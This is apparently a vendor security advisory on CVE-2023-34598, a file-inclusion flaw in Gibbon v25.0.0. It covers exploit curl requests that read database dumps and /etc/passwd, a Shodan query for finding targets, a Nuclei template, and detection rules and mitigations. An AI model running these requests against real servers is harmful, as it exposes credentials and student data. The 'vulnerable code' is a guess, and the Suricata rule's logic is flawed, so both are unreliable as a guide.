CVE-2023-34598

Executive Summary

CVE-2023-34598 is a critical Local File Inclusion (LFI) vulnerability affecting Gibbon v25.0.0, an open-source school management platform. The flaw allows an unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating the q parameter in HTTP GET requests. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and is actively exploited in the wild, with a public proof-of-concept (PoC) and a Nuclei template available. The EPSS score of 0.9179 indicates a high probability of exploitation. No official patch has been released, making immediate mitigation essential.

Supply Chain & Package Security

Gibbon is a PHP-based application distributed as a ZIP archive from its official website. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's routing logic. Organizations using Gibbon v25.0.0 should treat this as a critical supply chain risk, as the software itself is the vulnerable component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Potential to modify files if write access is combined.
• Availability Impact: High (A:H) – Could lead to denial of service via resource exhaustion.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using Gibbon.

Deep Dive & Mechanics

The vulnerability resides in Gibbon's routing mechanism, which uses the q GET parameter to include PHP files. The application fails to sanitize or validate user input, allowing path traversal sequences (e.g., ../) to escape the intended directory. By sending a request like /?q=./gibbon.sql, an attacker can read the database dump file, which contains sensitive information such as user credentials, configuration details, and application data.

Root Cause: The include() or require() function in PHP is used with user-supplied input without proper filtering. The application likely constructs a file path like include($_GET['q'] . '.php') but does not restrict the path to a whitelist of allowed files.

Attack Flow:

1. Attacker sends a GET request to the Gibbon server with a crafted q parameter.
2. The server includes the specified file, outputting its contents in the HTTP response.
3. The attacker can read arbitrary files (e.g., /etc/passwd, configuration files, database dumps).

Example Payload:

GET /?q=./gibbon.sql HTTP/1.1
Host: target.com

Vulnerable vs. Patched Code

Vulnerable Code (Gibbon v25.0.0):

// In index.php or similar entry point
$q = $_GET['q'] ?? 'index';
include($q . '.php');

Patched Code (Hypothetical):

// Whitelist approach
$allowed_pages = ['index', 'login', 'dashboard'];
$q = $_GET['q'] ?? 'index';
if (in_array($q, $allowed_pages)) {
    include($q . '.php');
} else {
    // Handle error
    http_response_code(404);
    echo 'Page not found';
}

Key Difference: The patched version validates the q parameter against a whitelist, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Gibbon v25.0.0 running on a PHP-enabled web server.
• Network access to the target.

Exploitation Steps:

1. Identify the target Gibbon instance (e.g., via Shodan dork http.favicon.hash:-165631681).
2. Send a GET request to read the database dump:

   curl -v "http://target.com/?q=./gibbon.sql"
   

3. Extract sensitive data from the response (e.g., database credentials, user hashes).
4. Attempt to read other sensitive files:

   curl -v "http://target.com/?q=../../../etc/passwd"
   

Nuclei Template (Provided):

id: CVE-2023-34598

info:
  name: Gibbon v25.0.0 - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) vulnerability where it's possible to include the content of several files present in the installation folder in the server's response.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade to a patched version of Gibbon or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://github.com/maddsec/CVE-2023-34598
    - https://twitter.com/shaybt12/status/1673612503547355137?s=20
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34598
    - https://github.com/izj007/wechat
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34598
    cwe-id: CWE-22
    epss-score: 0.9179
    epss-percentile: 0.99692
    cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,gibbon,lfi,gibbonedu,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=./gibbon.sql"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "phpMyAdmin SQL Dump"
          - "gibbon"
        condition: and

      - type: status
        status:
          - 200

Blue Team

Detection:

• Monitor web server logs for requests containing ?q= with path traversal sequences (e.g., ../, ./).
• Alert on requests to gibbon.sql or other sensitive files.
• Use the provided YARA and Sigma rules for host-based detection.

Hunting:

• Search for HTTP requests with q parameter containing ../ or ./ in access logs.
• Look for unusual file reads (e.g., /etc/passwd, /proc/self/environ).

Lab Setup:

1. Deploy Gibbon v25.0.0 in a Docker container:

   FROM php:7.4-apache
   COPY gibbon-25.0.00 /var/www/html/
   

2. Run the container and expose port 80.
3. Test the exploit using curl or Nuclei.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests with q parameter containing ../ or ./.
  • Requests to gibbon.sql or other database dump files.
  • User-Agent strings associated with known scanning tools (e.g., Nuclei, curl).

• File IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
  • Presence of gibbon.sql in web server responses.

• Log IOCs:

  • Web server logs showing 200 responses to requests with q=./gibbon.sql.
  • Repeated requests to the same endpoint with varying q values.

Detection Engineering

YARA Rule

rule CVE_2023_34598_Gibbon_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2023-34598 in Gibbon v25.0.0"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "?q=./gibbon.sql" ascii wide nocase
        $s2 = "?q=../" ascii wide nocase
        $s3 = "phpMyAdmin SQL Dump" ascii wide nocase
    condition:
        any of ($s1, $s2) or $s3
}

Sigma Rule

title: Gibbon LFI Exploitation Attempt
id: 8f4a3b2c-1d5e-4f6a-9b7c-8d9e0f1a2b3c
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2023-34598 in Gibbon v25.0.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '?q=./gibbon.sql'
            - '?q=../'
    condition: selection
falsepositives:
    - Legitimate use of the q parameter (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-34598 Gibbon LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?q=./gibbon.sql"; http_uri; nocase; content:"?q=../"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Gibbon server from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block requests containing ?q= with path traversal sequences.
3. Disable the vulnerable functionality by modifying the application code to whitelist allowed pages.

Long-term Fix:

• Upgrade to a patched version of Gibbon once available.
• Implement input validation and sanitization for all user-supplied parameters.
• Use a secure coding framework that prevents LFI (e.g., whitelist-based includes).

Workaround:

• Add the following Apache .htaccess rule to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (^|&)q=\.\./ [NC,OR]
  RewriteCond %{QUERY_STRING} (^|&)q=\./gibbon\.sql [NC]
  RewriteRule .* - [F,L]
  

Valters IT – Securing your digital frontier.

{/* [Security Hash: D9AD2C31C4DCCC547A7214D7] */}